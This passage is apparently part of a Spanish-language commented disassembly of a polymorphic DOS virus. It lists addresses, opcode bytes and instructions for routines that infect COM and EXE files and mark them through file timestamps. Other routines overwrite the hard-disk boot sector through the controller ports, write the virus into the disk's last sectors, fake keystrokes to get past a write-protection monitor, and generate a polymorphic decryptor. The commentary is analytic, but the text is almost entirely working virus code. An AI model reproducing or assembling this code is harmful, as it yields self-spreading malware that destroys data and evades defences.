Ω; chivo en AL ∩0DA6:125D 241F AND AL,1F ∩0DA6:125F 3C11 CMP AL,11 Ω; Comprueba si son 34 ∩0DA6:1261 744D JZ 12B0 Ω; Si son, salta y acaba ∩0DA6:1263 E86000 CALL 12C6 Ω; Obtiene el nombre del handle Ω; y comprueba si es un archivo Ω; especial ∩0DA6:1266 7248 JB 12B0 Ω; Si hay CF, salta y acaba ∩0DA6:1268 33C9 XOR CX,CX Ω; Pone el puntero de archivo ∩0DA6:126A 8BD1 MOV DX,CX Ω; al principio ∩0DA6:126C B80042 MOV AX,4200 ∩0DA6:126F E853F0 CALL 02C5 Ω; Int 21h ∩0DA6:1272 723C JB 12B0 Ω; Si hay error, salta y acaba ∩0DA6:1274 B43F MOV AH,3F Ω; Lee los 28 primeros bytes en ∩0DA6:1276 B91C00 MOV CX,001C Ω; :1E6A ∩0DA6:1279 0E PUSH CS ∩0DA6:127A 1F POP DS ∩0DA6:127B 1E PUSH DS ∩0DA6:127C 07 POP ES ∩0DA6:127D BA6A1E MOV DX,1E6A ∩0DA6:1280 E842F0 CALL 02C5 Ω; Int 21h ∩0DA6:1283 722B JB 12B0 Ω; Si hay error, salta y acaba ∩0DA6:1285 3BC1 CMP AX,CX Ω; Comprueba si ha podido leer Ω; al menos 28 bytes ∩0DA6:1287 7527 JNZ 12B0 Ω; Si el archivo era menor, sal- Ω; ta y acaba ∩0DA6:1289 8BF2 MOV SI,DX Ω; En SI la dirección :1E6A ∩0DA6:128B FC CLD Ω; Hacia delante ∩0DA6:128C AD LODSW Ω; Carga el primer par de bytes Ω; en AX ∩0DA6:128D 3D4D5A CMP AX,5A4D Ω; Comprueba si son 'MZ' ∩0DA6:1290 740C JZ 129E Ω; Si son, salta a :129E ∩0DA6:1292 3D5A4D CMP AX,4D5A Ω; Comprueba si son 'ZM' ∩0DA6:1295 7407 JZ 129E Ω; Si son, salta a :129E ∩0DA6:1297 E857F3 CALL 05F1 Ω; Infecta el archivo como COM ∩0DA6:129A 7214 JB 12B0 Ω; Si hay error, salta y acaba ∩0DA6:129C EB05 JMP 12A3 Ω; Salta a :12A3 Ω; Aquí desde :1290 y :1295 si Ω; el archivo es EXE ∩0DA6:129E E84AF2 CALL 04EB Ω; Infecta el archivo como EXE ∩0DA6:12A1 720D JB 12B0 Ω; Si hay error, salta y acaba Ω; Aquí desde :129C si no ha ha- Ω; habido error al infectar el Ω; archivo como COM ∩0DA6:12A3 A17E01 MOV AX,[017E] Ω; Pone en AX la hora del archi- Ω; vo ∩0DA6:12A6 24E0 AND AL,E0 Ω; Anula los segundos en AL ∩0DA6:12A8 0C11 OR AL,11 Ω; Los pone a 34 ∩0DA6:12AA A37E01 MOV [017E],AX Ω; Pone en [017E] la nueva hora ∩0DA6:12AD E8CAF3 CALL 067A Ω; Recupera la hora del handle Ω; Aquí a lo largo de la rutina Ω; si hay error ∩0DA6:12B0 58 POP AX Ω; Saca AX del stack ∩0DA6:12B1 9D POPF Ω; Saca las banderas ∩0DA6:12B2 B43E MOV AH,3E Ω; Cierra el handle ∩0DA6:12B4 E80EF0 CALL 02C5 ∩0DA6:12B7 50 PUSH AX Ω; Mete AX y las banderas en el ∩0DA6:12B8 9C PUSHF Ω; stack ∩0DA6:12B9 E84DFF CALL 1209 Ω; "Desparchea" las ints 24h y Ω; 1Bh ∩0DA6:12BC 9D POPF Ω; Saca las banderas y AX de ∩0DA6:12BD 58 POP AX Ω; nuevo ∩0DA6:12BE 5E POP SI Ω; Saca el resto de los regis- ∩0DA6:12BF 5F POP DI Ω; tros ∩0DA6:12C0 1F POP DS ∩0DA6:12C1 07 POP ES ∩0DA6:12C2 5A POP DX ∩0DA6:12C3 59 POP CX ∩0DA6:12C4 5B POP BX ∩0DA6:12C5 C3 RET Ω; Retorna ε;;;;;;;; Rutina para obtener el nombre del handle, copiarlo a la zona de datos ε;;;;;;;; que se usa y comprobar su nombre para ver si es un archivo especial ∩0DA6:12C6 53 PUSH BX Ω; Guarda BX (el handle) ∩0DA6:12C7 B82012 MOV AX,1220 Ω; Obtiene en ES:DI la dirección ∩0DA6:12CA CD2F INT 2F Ω; de la Job File Table (JFT), Ω; que sólo usará para obtener Ω; el número identificador del Ω; handle ∩0DA6:12CC 7304 JNB 12D2 Ω; Si no hay error, salta ∩0DA6:12CE F9 STC Ω; Pone CF a 1 ∩0DA6:12CF EB73 JMP 1344 Ω; Salta y acaba ∩0DA6:12D1 90 NOP Ω; ¿Tasm 1.0 ó /m2 en vez de Ω; /m3? ∩0DA6:12D2 26 ES: Ω; Comprueba si el primer byte ∩0DA6:12D3 803DFF CMP BYTE PTR [DI],FF Ω; de la JFT es FFh, porque si Ω; es, significa que el handle Ω; pasado no estaba abierto ∩0DA6:12D6 74F6 JZ 12CE Ω; Si es, salta y acaba ∩0DA6:12D8 33DB XOR BX,BX Ω; BH = 0 ∩0DA6:12DA 26 ES: ∩0DA6:12DB 8A1D MOV BL,[DI] Ω; En BL el identificador de ar- Ω; chivo del handle ∩0DA6:12DD B81612 MOV AX,1216 Ω; Obtiene mediante esta función ∩0DA6:12E0 CD2F INT 2F Ω; la System File Table (SFT) ∩0DA6:12E2 7260 JB 1344 Ω; Si hay error, salta y acaba ∩0DA6:12E4 06 PUSH ES Ω; DS = ES ∩0DA6:12E5 1F POP DS ∩0DA6:12E6 0E PUSH CS Ω; ES = CS ∩0DA6:12E7 07 POP ES ∩0DA6:12E8 836502F8 AND WORD PTR [DI+02],-08 Ω; Anula los 3 bits infe- ∩0DA6:12EC 834D0202 OR WORD PTR [DI+02],+02 Ω; riores del modo de acce- Ω; so al handle y pone el Ω; modo 2 de acceso (lectu- Ω; ra/escritura) ∩0DA6:12F0 83C720 ADD DI,+20 Ω; En DI la dirección donde se Ω; encuentra el nombre del han- Ω; dle ∩0DA6:12F3 8BF7 MOV SI,DI Ω; Pone en SI esta dirección ∩0DA6:12F5 FC CLD Ω; Hacia delante ∩0DA6:12F6 56 PUSH SI Ω; Guarda SI ∩0DA6:12F7 BF4807 MOV DI,0748 Ω; En DI la dirección donde va Ω; a copiar el nombre del archi- Ω; vo al que pertenece el handle ∩0DA6:12FA 33DB XOR BX,BX Ω; BX = 0 ∩0DA6:12FC B90800 MOV CX,0008 Ω; CX = 8 ∩0DA6:12FF AC LODSB Ω; Carga un byte del nombre ∩0DA6:1300 3C20 CMP AL,20 Ω; Mira si es un espacio ∩0DA6:1302 7404 JZ 1308 Ω; Si es, acaba el LOOP ∩0DA6:1304 AA STOSB Ω; Lo almacena ∩0DA6:1305 43 INC BX Ω; Incrementa BX, indicando que Ω; era un caracter y no un espa- Ω; cio ∩0DA6:1306 E2F7 LOOP 12FF Ω; Hace LOOP y lo repite 8 veces ∩0DA6:1308 B02E MOV AL,2E Ω; AL = '.' ∩0DA6:130A AA STOSB Ω; Almacena el punto ∩0DA6:130B 43 INC BX Ω; Incrementa BX ∩0DA6:130C 5E POP SI Ω; Saca el anterior SI ∩0DA6:130D 83C608 ADD SI,+08 Ω; Le suma 8 para tener en SI Ω; la dirección de la extensión Ω; del archivo ∩0DA6:1310 B90300 MOV CX,0003 Ω; CX = 3 ∩0DA6:1313 AC LODSB Ω; Carga el caracter en SI ∩0DA6:1314 3C20 CMP AL,20 Ω; Comprueba si es un espacio ∩0DA6:1316 7406 JZ 131E Ω; Si es, salta y acaba el LOOP ∩0DA6:1318 AA STOSB Ω; Almacena el caracter ∩0DA6:1319 43 INC BX Ω; Incrementa BL y BH ∩0DA6:131A FEC7 INC BH ∩0DA6:131C E2F5 LOOP 1313 Ω; Hace LOOP 3 veces ∩0DA6:131E 80FF03 CMP BH,03 Ω; Comprueba si BH es 3 (la lon- Ω; gitud de la extensión) ∩0DA6:1321 7403 JZ 1326 Ω; Si es 3, continúa (así es co- Ω; rrecto) ∩0DA6:1323 F9 STC Ω; Pone Carry Flag (aunque ya Ω; está puesto, ya que si no es Ω; tres, se encenderá el flag Ω; B, que también es llamado Ω; Carry Flag, ya que será un Ω; número menor que 3) ∩0DA6:1324 EB1E JMP 1344 Ω; Salta y acaba Ω; Aquí desde :1321 ∩0DA6:1326 83EE03 SUB SI,+03 Ω; Resta 3 a SI ∩0DA6:1329 AD LODSW Ω; Carga las dos primeras letras Ω; de la extensión ∩0DA6:132A 3D4558 CMP AX,5845 Ω; Mira si son la cadena 'EX' ∩0DA6:132D 7405 JZ 1334 Ω; Si son, salta ∩0DA6:132F 3D434F CMP AX,4F43 Ω; Mira si forman la cadena 'CO' ∩0DA6:1332 75EF JNZ 1323 Ω; Si no, salta y acaba ∩0DA6:1334 AC LODSB Ω; Carga el siguiente caracter ∩0DA6:1335 3D4558 CMP AX,5845 Ω; Mira si es la cadena 'EX' Ω; (teniendo ahora en AL la ter- Ω; cera letra de la extensión) ∩0DA6:1338 7405 JZ 133F Ω; Si es, continúa en :133F ∩0DA6:133A 3D4D4F CMP AX,4F4D Ω; Mira si es la cadena 'MO' (y Ω; en AL el último byte, que mi- Ω; ra si es 'M') ∩0DA6:133D 75E4 JNZ 1323 Ω; Si no es, salta y acaba ∩0DA6:133F B700 MOV BH,00 Ω; BH = 0 ∩0DA6:1341 E867F3 CALL 06AB Ω; Mira si el nombre es el de un Ω; archivo especial. Devuelve Ω; carry y pone ciertos flags en Ω; :018C a 1 ∩0DA6:1344 5B POP BX Ω; Saca BX del stack ∩0DA6:1345 C3 RET Ω; Retorna ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;; Rutina para mirar si un archivo ya está infectado. Devuelve CF si está ;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:1346 F6068C0104 TEST BYTE PTR [018C],04 Ω; Mira si el bit 3 en [018C] Ω; está a 1, lo que indica que Ω; el sistema operativo es Ω; WINDblOWS 95 ∩0DA6:134B 742A JZ 1377 Ω; Si no está, salta ∩0DA6:134D 803E790100 CMP BYTE PTR [0179],00 Ω; Mira si es un archivo Ω; COM ∩0DA6:1352 741C JZ 1370 Ω; Si es, salta ∩0DA6:1354 8B440E MOV AX,[SI+0E] Ω; Obtiene el word situado en Ω; los bytes nº 0Eh y 0Fh de Ω; la cabecera, que es el seg- Ω; mento SS ∩0DA6:1357 2B4416 SUB AX,[SI+16] Ω; Le resta el IP inicial del Ω; virus ∩0DA6:135A 741B JZ 1377 Ω; Si es 0, salta a :1377 ∩0DA6:135C 2D0300 SUB AX,0003 Ω; Mira si AX es 1, 2 o 3 ∩0DA6:135F 7716 JA 1377 Ω; Si no lo es, salta ∩0DA6:1361 8B4414 MOV AX,[SI+14] Ω; Pone en AX el IP inicial ∩0DA6:1364 3D6A1E CMP AX,1E6A Ω; Comprueba si es 1E6A (el ta- Ω; maño del virus) ∩0DA6:1367 720E JB 1377 Ω; Si es menor, no está infec- Ω; tado y salta ∩0DA6:1369 3DC41E CMP AX,1EC4 Ω; Comprueba si es el tamaño Ω; máximo que puede tener el Ω; virus después de haberlo in- Ω; fectado polimórficamente (el Ω; virus puede tener un tamaño Ω; entre 1E6Ah y 1EC4h) ∩0DA6:136C 7709 JA 1377 Ω; Si es mayor, no está infecta- Ω; do ∩0DA6:136E F9 STC Ω; Pone Carry Flag a 1 ∩0DA6:136F C3 RET Ω; Retorna Ω; Aquí desde :1370 y si el byte en Ω; [0179] es 0, indicando un archivo Ω; COM ∩0DA6:1370 803CE9 CMP BYTE PTR [SI],E9 Ω; Comprueba si el primer byte Ω; del COM leído es 0E9h (opcode de JMP, Ω; y como al infectar un COM ha de in- Ω; sertar un JMP al principio, éste sir- Ω; ve de marca de infección) ∩0DA6:1373 7502 JNZ 1377 Ω; Si no es, salta ∩0DA6:1375 F9 STC Ω; Aquí si el archivo está infectado ∩0DA6:1376 C3 RET Ω; Retorna con carry flag Ω; Salta desde :1377 si el sistema ope- Ω; rativo es WINDOWS 95 ∩0DA6:1377 F8 CLC Ω; Carry Flag a 0 ∩0DA6:1378 C3 RET Ω; Retorna ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;; Rutina para comprobar si el sistema ya está infectado, e infectarlo si no; ε;;; lo está. Hace cosas tan "comunes" como infectar el BOOT sin usar la int ; ε;;; 13h (directamente por los ports de la controladora), etc. etc. ; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:1379 B84554 MOV AX,5445 Ω; Install-check para ver si la ∩0DA6:137C CD13 INT 13 Ω; interrupción 13h está ya redi- ∩0DA6:137E 3D5445 CMP AX,4554 Ω; reccionada por el virus ∩0DA6:1381 7422 JZ 13A5 Ω; Si da positivo, acaba ∩0DA6:1383 0E PUSH CS Ω; ES = CS ∩0DA6:1384 07 POP ES ∩0DA6:1385 33C0 XOR AX,AX Ω; DS = 0000 ∩0DA6:1387 8ED8 MOV DS,AX ∩0DA6:1389 BE4C00 MOV SI,004C Ω; En SI la dirección que apunta Ω; al puntero de la int 13h ∩0DA6:138C BF4714 MOV DI,1447 Ω; En DI la zona donde será guarda- Ω; do. ∩0DA6:138F FC CLD Ω; Lo coge ∩0DA6:1390 A5 MOVSW ∩0DA6:1391 A5 MOVSW ∩0DA6:1392 0E PUSH CS Ω; DS = CX ∩0DA6:1393 1F POP DS ∩0DA6:1394 BA8000 MOV DX,0080 Ω; Lee el primer sector del primer ∩0DA6:1397 B90100 MOV CX,0001 Ω; cilindro del primer cabezal del ∩0DA6:139A B80102 MOV AX,0201 Ω; disco duro. El BOOT, vamos. ∩0DA6:139D BB6A1E MOV BX,1E6A Ω; En 1E6Ah el buffer de lectura ∩0DA6:13A0 E80205 CALL 18A5 Ω; Función que emula la llamada a Ω; la int 13h ∩0DA6:13A3 7303 JNB 13A8 Ω; Si no hay error, continúa ∩0DA6:13A5 EB61 JMP 1408 Ω; En caso contrario, acaba ∩0DA6:13A7 90 NOP Ω; ¿¿TASM v1.0 o TASM sin la opción Ω; /m# ?? ∩0DA6:13A8 A16C1F MOV AX,[1F6C] Ω; Obtiene en AX el word en el byte Ω; número 102h del BOOT ∩0DA6:13AB 2B066A1F SUB AX,[1F6A] Ω; Le resta el byte 100h ∩0DA6:13AF 3DFFCC CMP AX,CCFF Ω; Mira si el resultado es CCFFh ∩0DA6:13B2 74F1 JZ 13A5 Ω; Si lo es, acaba ∩0DA6:13B4 B408 MOV AH,08 Ω; Obtiene el formato del disco du- ∩0DA6:13B6 B280 MOV DL,80 Ω; ro en CX y DX ∩0DA6:13B8 E8EA04 CALL 18A5 Ω; Int 13h ∩0DA6:13BB B81003 MOV AX,0310 Ω; Va a escribir el propio virus en ∩0DA6:13BE 33DB XOR BX,BX Ω; una zona del disco duro que si Ω; está ocupada por otro programa, Ω; éste será sobreescrito. ∩0DA6:13C0 FEC5 INC CH Ω; Incrementa el cilindro obtenido ∩0DA6:13C2 890E111B MOV [1B11],CX Ω; Guarda CX en :1B11 ∩0DA6:13C6 FECE DEC DH Ω; Decrementa el número de cabezal Ω; obtenido ∩0DA6:13C8 80E910 SUB CL,10 Ω; Resta al número de sector obte- Ω; nido 16 ∩0DA6:13CB B280 MOV DL,80 Ω; Escribe en disco duro ∩0DA6:13CD E8D504 CALL 18A5 Ω; Int 13h Ω; O sea, que ha escrito el virus Ω; en 16 de los 17 últimos sectores Ω; totales del disco duro. ∩0DA6:13D0 72D3 JB 13A5 Ω; Si hay error, acaba ∩0DA6:13D2 80C110 ADD CL,10 Ω; Suma a CL 16 para obtener el va- Ω; lor anterior ∩0DA6:13D5 BB6A1E MOV BX,1E6A Ω; Pone el buffer de escritura don- Ω; de ha leído el BOOT anteriormen- Ω; te. ∩0DA6:13D8 B80103 MOV AX,0301 Ω; Guarda el BOOT original en el Ω; ultimísimo sector del disco duro ∩0DA6:13DB E85E02 CALL 163C Ω; Rutina para comprobar algo en el Ω; BOOT que no he identificado. De- Ω; be de ser un programa antivirus. Ω; Sea el programa que sea, lo deja Ω; frito. ∩0DA6:13DE E8C404 CALL 18A5 Ω; Escribe el BOOT en ese sector ∩0DA6:13E1 72C2 JB 13A5 Ω; Si hay error, acaba ∩0DA6:13E3 FC CLD Ω; DF a 0 ∩0DA6:13E4 B301 MOV BL,01 Ω; Pone en BL 1 para indicarle que Ω; se va a infectar un disco duro ∩0DA6:13E6 E87900 CALL 1462 Ω; Rutina para hacer en :1E6A un Ω; BOOT para el disco duro o dis- Ω; kette, según BL. Esta rutina Ω; polimorfea un BOOT que tiene Ω; preparado para tal efecto. ∩0DA6:13E9 BA8000 MOV DX,0080 Ω; Escribe en el disco duro, en ∩0DA6:13EC B90100 MOV CX,0001 Ω; sector 1 del cilindro 0 del ca- ∩0DA6:13EF B80103 MOV AX,0301 Ω; bezal 0 un sector (512 bytes) ∩0DA6:13F2 BB6A1E MOV BX,1E6A Ω; que será el BOOT que ha prepa- Ω; rado, pero antes... ∩0DA6:13F5 F6068C0180 TEST BYTE PTR [018C],80 Ω; ...comprueba si el bit Ω; nº7 de :018C está activo, y por Ω; tanto WINDOWS está en memoria ∩0DA6:13FA 7409 JZ 1405 Ω; Si no lo está, salta ∩0DA6:13FC 50 PUSH AX Ω; Guarda registros para pasárselos ∩0DA6:13FD 53 PUSH BX Ω; a la función en :1945 ∩0DA6:13FE 51 PUSH CX ∩0DA6:13FF 52 PUSH DX ∩0DA6:1400 E84205 CALL 1945 Ω; Escribe el BOOT modificando al Ω; mismo tiempo la interrupción 16h Ω; y comprobando si se llama a és- Ω; ta. Si se le llama, entonces in- Ω; serta en el buffer de teclado Ω; combinaciones de las teclas 'Y' Ω; y 'N' para saltarse el supuesto Ω; monitor que le pregunta si se Ω; quiere continuar con la acción Ω; de escritura ∩0DA6:1403 7303 JNB 1408 Ω; Si no hay error y por consiguien- Ω; te ha escrito el BOOT correcta- Ω; mente, salta y retorna ∩0DA6:1405 E8CF05 CALL 19D7 Ω; Comprueba si el disco está co- Ω; rrectamente, y si lo está escri- Ω; be el BOOT al disco duro median- Ω; te los ports de la propia con- Ω; troladora, es decir que el que Ω; ha hecho este virus ES UN BESTIA ∩0DA6:1408 C3 RET Ω; Retorna ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;; BOOT que el virus tiene dispuesto para modificar (polimorfear) e infectar; ε;;;; con él lo que sea menester ; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:1409 FA CLI Ω; No permite interrupciones ∩0DA6:140A 33C0 XOR AX,AX Ω; SS = 0 ∩0DA6:140C 8ED0 MOV SS,AX ∩0DA6:140E BC007C MOV SP,7C00 Ω; SP = 7C00h ∩0DA6:1411 8ED8 MOV DS,AX Ω; Todas estas instrucciones son ∩0DA6:1413 B2A9 MOV DL,A9 Ω; la rutina de desencriptado, que ∩0DA6:1415 BE167C MOV SI,7C16 Ω; son muy variables, ya que el vi- ∩0DA6:1418 0014 ADD [SI],DL Ω; rus polimorfea estas instruccio- ∩0DA6:141A 46 INC SI Ω; nes. Sólo son instrucciones fi- ∩0DA6:141B FEC2 INC DL Ω; jas a partir de :141F o :1DEF ∩0DA6:141D 7EF9 JLE 1418 ε;;;; Parte de BOOT para discos duros ∩0DA6:141F FB STI Ω; Permite interrupciones de nuevo ∩0DA6:1420 CD12 INT 12 Ω; Obtiene en AX la cantidad de RAM Ω; disponible en bytes ∩0DA6:1422 2D0900 SUB AX,0009 Ω; Resta 9 Kb a la memoria total ∩0DA6:1425 B106 MOV CL,06 Ω; Multiplica por 64 el número ob- ∩0DA6:1427 D3E0 SHL AX,CL Ω; tenido para obtener el segmento Ω; donde comenzará la memoria roba- Ω; da de esta manera. ∩0DA6:1429 8EC0 MOV ES,AX Ω; ES = segmento "reservado" ∩0DA6:142B B408 MOV AH,08 Ω; Obtiene el formato de disco duro ∩0DA6:142D B280 MOV DL,80 ∩0DA6:142F CD13 INT 13 ∩0DA6:1431 FEC5 INC CH Ω; Obtiene la zona donde guarda el ∩0DA6:1433 FECE DEC DH Ω; virus en el disco duro ∩0DA6:1435 80E910 SUB CL,10 ∩0DA6:1438 B280 MOV DL,80 Ω; Lee en ES:BX 17 sectores (16 don- ∩0DA6:143A B81102 MOV AX,0211 Ω; de se encuentra el virus y 1 para ∩0DA6:143D 33DB XOR BX,BX Ω; el BOOT original, que lo guarda ∩0DA6:143F CD13 INT 13 Ω; a continuación) ∩0DA6:1441 06 PUSH ES Ω; En el stack el segmento donde ha Ω; copiado el virus ∩0DA6:1442 B84B14 MOV AX,144B Ω; Ahora guarda en el stack el IP ∩0DA6:1445 50 PUSH AX Ω; donde va a saltar ∩0DA6:1446 CB RETF ; Ω; En el BOOT infectado se copia hasta Ω; aquí. Lo siguiente ya es sacado del Ω; mismo virus una vez copiado a memoria Ω; y todo eso, de manera que no necesita Ω; copiar todo el virus en el BOOT. ∩0DA6:1447 7407 JZ 1450 Ω; Zona donde se guarda el puntero a la ∩0DA6:1449 7000 JO 144B Ω; interrupción 13h original. En la ru- Ω; tina en :1876 pone aquí la int 21h. Ω; Aquí desde el BOOT infectado y estan- Ω; do esto ya en memoria. ∩0DA6:144B 1E PUSH DS Ω; ES = DS ∩0DA6:144C 07 POP ES ∩0DA6:144D 0E PUSH CS Ω; DS = CS ∩0DA6:144E 1F POP DS ∩0DA6:144F BF007C MOV DI,7C00 Ω; DI = 7C00 ∩0DA6:1452 06 PUSH ES Ω; Guarda ES y DI en el stack ∩0DA6:1453 57 PUSH DI ∩0DA6:1454 BE0020 MOV SI,2000 Ω; En SI la dirección del BOOT ori- Ω; ginal ∩0DA6:1457 FC CLD Ω; Hacia delante ∩0DA6:1458 B90002 MOV CX,0200 Ω; Copia 512 bytes ∩0DA6:145B F3 REPZ ∩0DA6:145C A4 MOVSB ∩0DA6:145D E89102 CALL 16F1 Ω; Rutina para enganchar la int 1Ch Ω; para instalar el virus en memo- Ω; ria, comprobar si es día de des- Ω; trucción del sistema y desinfec- Ω; ción del BOOT ∩0DA6:1460 FB STI Ω; Permite interrupciones (esto ya Ω; se lo había puesto antes de sa- Ω; lir de la rutina en :16F1) ∩0DA6:1461 CB RETF Ω; Fin de la rutina Boot-Strap del Ω; virus. Ahora salta a la del pro- Ω; pio sistema, al BOOT original. ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;; Rutina para polimorfear y formar una rutina de desencriptado para el BOOT ; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:1462 C706BA200000 MOV WORD PTR [20BA],0000 Ω; En la dirección :20BA, Ω; pone el valor word 0. Esta Ω; dirección es la que usa para Ω; hacer las cadenas aleatorias Ω; en la función de call :08D0 ∩0DA6:1468 53 PUSH BX Ω; Guarda BX en el stack ∩0DA6:1469 FC CLD Ω; DF a 0 ∩0DA6:146A E849F4 CALL 08B6 Ω; Obtiene un número en BX en- Ω; tre 0 y 2 ∩0DA6:146D 8AA77E0F MOV AH,[BX+0F7E] Ω; Obtiene en AH el valor BBh, Ω; BFh o BEh ∩0DA6:1471 88261514 MOV [1415],AH Ω; Lo pone en [1415] para hacer Ω; MOV BX, MOV SI o MOV DI ∩0DA6:1475 8AA7840F MOV AH,[BX+0F84] Ω; Obtiene en AH el valor 43h, Ω; 47h o 46h ∩0DA6:1479 88261A14 MOV [141A],AH Ω; Lo pone en [141A] para hacer Ω; INC BX, INC DI o INC SI ∩0DA6:147D 8AD3 MOV DL,BL Ω; Pone el número este en DL ∩0DA6:147F 80C303 ADD BL,03 Ω; Le suma 3 a BL ∩0DA6:1482 80FB03 CMP BL,03 Ω; Comprueba si BL es 3 ahora ∩0DA6:1485 7503 JNZ 148A Ω; Si no es, se salta lo siguiente ∩0DA6:1487 80EB02 SUB BL,02 Ω; Le resta 2 a BL ∩0DA6:148A 881E5D0F MOV [0F5D],BL Ω; Pone en [0F5D] este valor. Al Ω; llegar aquí, BL tiene valor 1, Ω; 4 o 5. ∩0DA6:148E E8A9F4 CALL 093A Ω; Obtiene en AX un número de la Ω; cadena de aleatorios "general". ∩0DA6:1491 F7D0 NOT AX Ω; NOTea AX :) ∩0DA6:1493 2407 AND AL,07 Ω; Elimina los 5 bits superiores Ω; de AL ∩0DA6:1495 8AD8 MOV BL,AL Ω; Lo pone en BL ∩0DA6:1497 D0E8 SHR AL,1 Ω; Lo divide entre 2 ∩0DA6:1499 38065D0F CMP [0F5D],AL Ω; Comprueba si es igual al guar- Ω; dado anteriormente ∩0DA6:149D 74EF JZ 148E Ω; Si es igual, salta y vuelve a Ω; hacer el proceso ∩0DA6:149F 881E5E0F MOV [0F5E],BL Ω; Guarda el nuevo byte ∩0DA6:14A3 8AA7A60F MOV AH,[BX+0FA6] Ω; Obtiene en AH otro valor de Ω; opcode que puede ser B0, B4, Ω; B3, B7, B1, B5, B2 o B6 ∩0DA6:14A7 88261314 MOV [1413],AH Ω; Lo pone en [1413] para formar Ω; MOV AL/AH/BL/BH/CL/CH/DL/DH,XX ∩0DA6:14AB 8AA7D60F MOV AH,[BX+0FD6] Ω; Coge otro código de opcode en Ω; AH que puede ser C0, C4, C3, Ω; C7, C1, C5, C2 o C6 ∩0DA6:14AF 88261C14 MOV [141C],AH Ω; Lo pone en [141C], para formar Ω; INC AL/AH/BL/BH/CL/CH/DL/DH ∩0DA6:14B3 D0E2 SHL DL,1 Ω; Coge el primer número y lo mul- ∩0DA6:14B5 D0E2 SHL DL,1 Ω; tiplica por 8 ∩0DA6:14B7 D0E2 SHL DL,1 ∩0DA6:14B9 02DA ADD BL,DL Ω; Se lo suma a BL ∩0DA6:14BB 8AA7AE0F MOV AH,[BX+0FAE] Ω; Obtiene otro valor de opcode ∩0DA6:14BF 88261914 MOV [1419],AH Ω; Lo pone en [1419] para formar Ω; ADD [BX/SI/DI],AH/AL/BH/BL... ∩0DA6:14C3 E874F4 CALL 093A Ω; Obtiene otro número de la cade- Ω; na de aleatorios ∩0DA6:14C6 8ADC MOV BL,AH Ω; Pone a AH en BL ∩0DA6:14C8 83E303 AND BX,+03 Ω; Anula los 14 bits superiores de Ω; BX ∩0DA6:14CB 8AA7E60F MOV AH,[BX+0FE6] Ω; Obtiene un valor de opcode en Ω; AH, que puede ser 75h, 78h, 7Ch Ω; y 7Eh ∩0DA6:14CF 88261D14 MOV [141D],AH Ω; Lo pone en [141D] para formar Ω; la instrucción JNZ/JS/JL/JLE ∩0DA6:14D3 E8E0F3 CALL 08B6 Ω; Obtiene un número entre 1 y 2 ∩0DA6:14D6 8A87D20F MOV AL,[BX+0FD2] Ω; Coge un código de opcode en AL Ω; que puede ser 0 o 28h ∩0DA6:14DA B4E0 MOV AH,E0 Ω; En AH pone el valor E0h ∩0DA6:14DC A3A315 MOV [15A3],AX Ω; Forma en [15A3] la instrucción Ω; ADD AH,AL o SUB AH,AL ∩0DA6:14DF 80F303 XOR BL,03 Ω; Invierte BL. Si antes era 1, Ω; ahora es 2, y si antes era 2, Ω; ahora es 1 ∩0DA6:14E2 8A87D20F MOV AL,[BX+0FD2] Ω; Obtiene el valor 28h o 0 ∩0DA6:14E6 A21814 MOV [1418],AL Ω; Hace lo mismo que en la opera- Ω; ción anterior pero si antes era Ω; SUB, ahora es ADD y viceversa. ∩0DA6:14E9 E84EF4 CALL 093A Ω; Obtiene otro número de la cade- Ω; na de aleatorios ∩0DA6:14EC 80CC80 OR AH,80 Ω; Pone a 1 el bit 7 de AH ∩0DA6:14EF 80FCD8 CMP AH,D8 Ω; Comprueba si el valor en AH es ∩0DA6:14F2 73F5 JNB 14E9 Ω; mayor o igual a D8h, y si lo es Ω; vuelve a repetir el proceso ∩0DA6:14F4 5B POP BX Ω; Saca el BX del principio ∩0DA6:14F5 53 PUSH BX Ω; Lo vuelve a guardar ∩0DA6:14F6 50 PUSH AX Ω; Guarda AX ∩0DA6:14F7 B700 MOV BH,00 Ω; Pone BH a 0 ∩0DA6:14F9 88261414 MOV [1414],AH Ω; Guarda en [1414] el valor de AH Ω; para dar a esa instrucción Ω; (MOV AL/AH/BL/BH...,XX) Ω; un valor para el MOV ∩0DA6:14FD BE0914 MOV SI,1409 Ω; En SI el inicio de la rutina Ω; que se ha ido modificando a lo Ω; largo de esta porción de código ∩0DA6:1500 BF6A1E MOV DI,1E6A Ω; En DI el inicio del BOOT leído Ω; del disco duro ∩0DA6:1503 C7061614167C MOV WORD PTR [1416],7C16 Ω; En principio pone este Ω; valor en el MOV SI,XXXX que Ω; hay en esta dirección. ∩0DA6:1509 80FB02 CMP BL,02 Ω; Mira si BL es 2 (si es 1, es Ω; para infectar discos duros) ∩0DA6:150C 7509 JNZ 1517 Ω; Si no es, salta a :1517 ∩0DA6:150E BFA81E MOV DI,1EA8 Ω; Aumenta DI a 1EA8 para poner Ω; entre este número y 1E6A los Ω; datos del BOOT sobre el disco Ω; duro ∩0DA6:1511 C7061614547C MOV WORD PTR [1416],7C54 Ω; Y aumenta también el Ω; valor a añadir a SI en el códi- Ω; go de BOOT modificado ∩0DA6:1517 E820F4 CALL 093A Ω; Obtiene un word aleatorio en Ω; AX de la cadena de aleatorios ∩0DA6:151A 250300 AND AX,0003 Ω; Reduce AX a un número entre 